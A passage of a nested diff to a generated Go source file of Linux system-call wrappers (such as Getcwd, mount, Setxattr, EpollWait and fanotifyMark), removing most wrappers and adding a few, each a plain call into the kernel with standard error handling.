-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -960,15 +24,8 @@ func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -988,120 +45,14 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
